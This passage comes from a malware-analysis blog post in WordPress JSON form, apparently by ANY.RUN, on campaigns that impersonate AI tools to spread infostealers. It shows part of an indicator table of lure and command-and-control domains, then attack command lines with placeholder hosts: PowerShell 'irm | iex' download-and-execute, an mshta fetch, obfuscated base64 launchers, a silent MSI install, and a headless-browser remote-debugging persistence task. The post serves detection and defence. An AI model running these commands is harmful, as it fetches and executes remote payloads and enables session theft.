data-row-index=\"16\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        AI Ads\u00a0BiTB\u00a0lure (Claude)\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A18\"\n                    data-col-index=\"0\"\n                    data-row-index=\"17\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        gemini-beta-invitations[.]com,\u00a0gemini-beta-invites[.]com\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B18\"\n                    data-col-index=\"1\"\n                    data-row-index=\"17\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C18\"\n                    data-col-index=\"2\"\n                    data-row-index=\"17\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        AI Ads\u00a0BiTB\u00a0lure (Gemini)\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A19\"\n                    data-col-index=\"0\"\n                    data-row-index=\"18\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        perplexity-beta-ads[.]com,\u00a0beta-manus[.]com\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B19\"\n                    data-col-index=\"1\"\n                    data-row-index=\"18\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C19\"\n                    data-col-index=\"2\"\n                    data-row-index=\"18\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        AI Ads\u00a0BiTB\u00a0lure (Perplexity, Manus)\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A20\"\n                    data-col-index=\"0\"\n                    data-row-index=\"19\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        mbackend-mdye.onrender[.]com,\u00a0claudeadsback-production-67c1.up.railway[.]app\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B20\"\n                    data-col-index=\"1\"\n                    data-row-index=\"19\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Host\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C20\"\n                    data-col-index=\"2\"\n                    data-row-index=\"19\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        BiTB\u00a0backend on an abused hosting platform\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A21\"\n                    data-col-index=\"0\"\n                    data-row-index=\"20\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        sys-tools[.]cfd\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B21\"\n                    data-col-index=\"1\"\n                    data-row-index=\"20\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domain\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C21\"\n                    data-col-index=\"2\"\n                    data-row-index=\"20\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Aura Stealer command and control\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-412'>\ntable#wpdtSimpleTable-412{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-412 td, table.wpdtSimpleTable412 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Host-based<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Command line &#8211; InstallFix, with 10 lure domains from April to September 2026:  \n<ul class=\"wp-block-list\">\n<li>powershell -c &#8220;irm &lt;lure domain>\/install.ps1 | iex&#8221; <\/li>\n\n\n\n<li>followed by powershell &#8220;irm &lt;staging domain> | iex&#8221; <\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Command line &#8211; fake \u201cDownload Claude\u201d pages:  \n<ul class=\"wp-block-list\">\n<li>mshta hxxps:\/\/&lt;host>\/app <\/li>\n\n\n\n<li>then cmd \/v:on \/c &#8220;set x=pow&amp;&amp;set y=ershell&amp;&amp;call \u2026\\!x!!y! -E &lt;base64>&#8221; <\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Command line &#8211; custom GPT chain:  \n<ul class=\"wp-block-list\">\n<li>PowerShell -ExecutionPolicy Bypass &#8220;irm &lt;IPv4 as a decimal number>\/&lt;n> | Out-File $env:temp\\&lt;n>.ps1;&amp; $env:temp\\&lt;n>.ps1&#8221; <\/li>\n\n\n\n<li>then msiexec \/i %TEMP%\\&lt;hex>_MouseJiggleStudio.msi \/qn \/norestart <\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Command line &#8211; macOS command on the claude.ai artifact:  \n<ul class=\"wp-block-list\">\n<li>curl -kfsSL $(echo &#8216;&lt;base64>&#8217; | base64 -d) <\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Scheduled task &#8211; trojanized installer:  \n<ul class=\"wp-block-list\">\n<li>mseupdate \u00b7 \/sc onlogon \/rl highest <\/li>\n\n\n\n<li>runs msedge.exe &#8211;remote-debugging-port=9222 &#8211;headless &#8211;user-agent=&#8221;Google Update 4.3&#8243; <\/li>\n<\/ul>\n<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>ANY.RUN researchers tracked fake AI tool campaigns that impersonate Claude, ChatGPT, GitHub Copilot, Gemini, and other AI brands to plant infostealers, take over browser sessions, and phish business accounts. Between April 15 and October 5, 2026, 1,258 public sandbox analyses were tied to these campaigns, and the USA was the second-largest source of submissions after [&hellip;]<\/p>\n","protected":false},"author":12,"featured_media":23717,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[8],"tags":[57,10,34,40],"class_list":["post-23673","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-malware-analysis","tag-anyrun","tag-cybersecurity","tag-malware-analysis","tag-malware-behavior"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.6 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Fake AI Tools Target US Companies: Claude, ChatGPT &amp; Copilot<\/title>\n<meta name=\"description\" content=\"ANY.RUN researchers break down fake Claude, ChatGPT, and Copilot campaigns: how they reach US companies, what they steal, and how to stop them.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/any.run\/cybersecurity-blog\/fake-ai-tools-us-companies\/\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"s1nc3rt\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"21 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/fake-ai-tools-us-companies\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/fake-ai-tools-us-companies\\\/\"},\"author\":{\"name\":\"s1nc3rt\",\"@id\":\"https:\\\/\\\/any.run\\\/\"},\"headline\":\"Fake AI Tools Put US Companies at Risk: Inside Counterfeit Claude, ChatGPT, and Copilot\",\"datePublished\":\"2026-10-14T09:12:30+00:00\",\"dateModified\":\"2026-10-14T09:25:08+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/fake-ai-tools-us-companies\\\/\"},\"wordCount\":4037,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/any.run\\\/\"},\"image\":{\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/fake-ai-tools-us-companies\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/Fake-AI-scaled.png\",\"keywords\":[\"ANYRUN\",\"cybersecurity\",\"malware analysis\",\"malware behavior\"],\"articleSection\":[\"Malware Analysis\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/fake-ai-tools-us-companies\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/fake-ai-tools-us-companies\\\/\",\"url\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/fake-ai-tools-us-companies\\\/\",\"name\":\"Fake AI Tools Target US Companies: Claude, ChatGPT & Copilot\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/any.run\\\/\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/fake-ai-tools-us-companies\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/fake-ai-tools-us-companies\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/Fake-AI-scaled.png\",\"datePublished\":\"2026-10-14T09:12:30+00:00\",\"dateModified\":\"2026-10-14T09:25:08+00:00\",\"description\":\"ANY.RUN researchers break down fake Claude, ChatGPT, and Copilot campaigns: how they reach US companies, what they steal, and how to stop them.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/fake-ai-tools-us-companies\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/fake-ai-tools-us-companies\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/fake-ai-tools-us-companies\\\/#primaryimage\",\"url\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/Fake-AI-scaled.png\",\"contentUrl\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/Fake-AI-scaled.png\",\"width\":2560,\"height\":1243,\"caption\":\"Fake AI Tools\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/fake-ai-tools-us-companies\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Malware Analysis\",\"item\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/category\\\/malware-analysis\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Fake AI Tools Put US Companies at Risk: Inside Counterfeit Claude, ChatGPT, and Copilot\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/any.run\\\/\",\"url\":\"https:\\\/\\\/any.run\\\/\",\"name\":\"ANY.RUN&#039;s Cybersecurity Blog\",\"description\":\"Cybersecurity Blog covers topics for experienced professionals as well as for those new to it.\",\"publisher\":{\"@id\":\"https:\\\/\\\/any.run\\\/\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/any.run\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/any.run\\\/\",\"name\":\"ANY.RUN\",\"url\":\"https:\\\/\\\/any.run\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/any.run\\\/\",\"url\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/wp-content\\\/uploads\\\/2020\\\/08\\\/ANYRUN-Icon.svg\",\"contentUrl\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/wp-content\\\/uploads\\\/2020\\\/08\\\/ANYRUN-Icon.svg\",\"width\":1,\"height\":1,\"caption\":\"ANY.RUN\"},\"image\":{\"@id\":\"https:\\\/\\\/any.run\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/www.any.run\\\/\",\"https:\\\/\\\/x.com\\\/anyrun_app\",\"https:\\\/\\\/www.linkedin.com\\\/company\\\/30692044\",\"https:\\\/\\\/www.youtube.com\\\/channel\\\/UCOgCPho7lzmH7m6fPNlukrQ\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/any.run\\\/\",\"name\":\"s1nc3rt\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/s1nc3rt.png\",\"url\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/s1nc3rt.png\",\"contentUrl\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/s1nc3rt.png\",\"caption\":\"s1nc3rt\"},\"description\":\"I\u2019m a Cyber Threat Analyst whose work is focused on turning current threats and malware into reliable detections. I specialize in network traffic analysis and write signatures that help security teams spot malicious activity early and with minimal noise.\",\"url\":\"#molongui-disabled-link\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Fake AI Tools Target US Companies: Claude, ChatGPT & Copilot","description":"ANY.RUN researchers break down fake Claude, ChatGPT, and Copilot campaigns: how they reach US companies, what they steal, and how to stop them.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/any.run\/cybersecurity-blog\/fake-ai-tools-us-companies\/","twitter_misc":{"Written by":"s1nc3rt","Est. reading time":"21 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/any.run\/cybersecurity-blog\/fake-ai-tools-us-companies\/#article","isPartOf":{"@id":"https:\/\/any.run\/cybersecurity-blog\/fake-ai-tools-us-companies\/"},"author":{"name":"s1nc3rt","@id":"https:\/\/any.run\/"},"headline":"Fake AI Tools Put US Companies at Risk: Inside Counterfeit Claude, ChatGPT, and Copilot","datePublished":"2026-10-14T09:12:30+00:00","dateModified":"2026-10-14T09:25:08+00:00","mainEntityOfPage":{"@id":"https:\/\/any.run\/cybersecurity-blog\/fake-ai-tools-us-companies\/"},"wordCount":4037,"commentCount":0,"publisher":{"@id":"https:\/\/any.run\/"},"image":{"@id":"https:\/\/any.run\/cybersecurity-blog\/fake-ai-tools-us-companies\/#primaryimage"},"thumbnailUrl":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Fake-AI-scaled.png","keywords":["ANYRUN","cybersecurity","malware analysis","malware behavior"],"articleSection":["Malware Analysis"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/any.run\/cybersecurity-blog\/fake-ai-tools-us-companies\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/any.run\/cybersecurity-blog\/fake-ai-tools-us-companies\/","url":"https:\/\/any.run\/cybersecurity-blog\/fake-ai-tools-us-companies\/","name":"Fake AI Tools Target US Companies: Claude, ChatGPT & Copilot","isPartOf":{"@id":"https:\/\/any.run\/"},"primaryImageOfPage":{"@id":"https:\/\/any.run\/cybersecurity-blog\/fake-ai-tools-us-companies\/#primaryimage"},"image":{"@id":"https:\/\/any.run\/cybersecurity-blog\/fake-ai-tools-us-companies\/#primaryimage"},"thumbnailUrl":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Fake-AI-scaled.png","datePublished":"2026-10-14T09:12:30+00:00","dateModified":"2026-10-14T09:25:08+00:00","description":"ANY.RUN researchers break down fake Claude, ChatGPT, and Copilot campaigns: how they reach US companies, what they steal, and how to stop them.","breadcrumb":{"@id":"https:\/\/any.run\/cybersecurity-blog\/fake-ai-tools-us-companies\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/any.run\/cybersecurity-blog\/fake-ai-tools-us-companies\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/any.run\/cybersecurity-blog\/fake-ai-tools-us-companies\/#primaryimage","url":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Fake-AI-scaled.png","contentUrl":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Fake-AI-scaled.png","width":2560,"height":1243,"caption":"Fake AI Tools"},{"@type":"BreadcrumbList","@id":"https:\/\/any.run\/cybersecurity-blog\/fake-ai-tools-us-companies\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/any.run\/cybersecurity-blog\/"},{"@type":"ListItem","position":2,"name":"Malware Analysis","item":"https:\/\/any.run\/cybersecurity-blog\/category\/malware-analysis\/"},{"@type":"ListItem","position":3,"name":"Fake AI Tools Put US Companies at Risk: Inside Counterfeit Claude, ChatGPT, and Copilot"}]},{"@type":"WebSite","@id":"https:\/\/any.run\/","url":"https:\/\/any.run\/","name":"ANY.RUN&#039;s Cybersecurity Blog","description":"Cybersecurity Blog covers topics for experienced professionals as well as for those new to it.","publisher":{"@id":"https:\/\/any.run\/"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/any.run\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/any.run\/","name":"ANY.RUN","url":"https:\/\/any.run\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/any.run\/","url":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2020\/08\/ANYRUN-Icon.svg","contentUrl":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2020\/08\/ANYRUN-Icon.svg","width":1,"height":1,"caption":"ANY.RUN"},"image":{"@id":"https:\/\/any.run\/"},"sameAs":["https:\/\/www.facebook.com\/www.any.run\/","https:\/\/x.com\/anyrun_app","https:\/\/www.linkedin.com\/company\/30692044","https:\/\/www.youtube.com\/channel\/UCOgCPho7lzmH7m6fPNlukrQ"]},{"@type":"Person","@id":"https:\/\/any.run\/","name":"s1nc3rt","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/s1nc3rt.png","url":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/s1nc3rt.png","contentUrl":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/s1nc3rt.png","caption":"s1nc3rt"},"description":"I\u2019m a Cyber Threat Analyst whose work is focused on turning current threats and malware into reliable detections. I specialize in network traffic analysis and write signatures that help security teams spot malicious activity early and with minimal noise.","url":"#molongui-disabled-link"}]}},"_links":{"self":[{"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/posts\/23673","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/comments?post=23673"}],"version-history":[{"count":23,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/posts\/23673\/revisions"}],"predecessor-version":[{"id":23740,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/posts\/23673\/revisions\/23740"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/media\/23717"}],"wp:attachment":[{"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/media?parent=23673"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/categories?post=23673"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/tags?post=23673"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}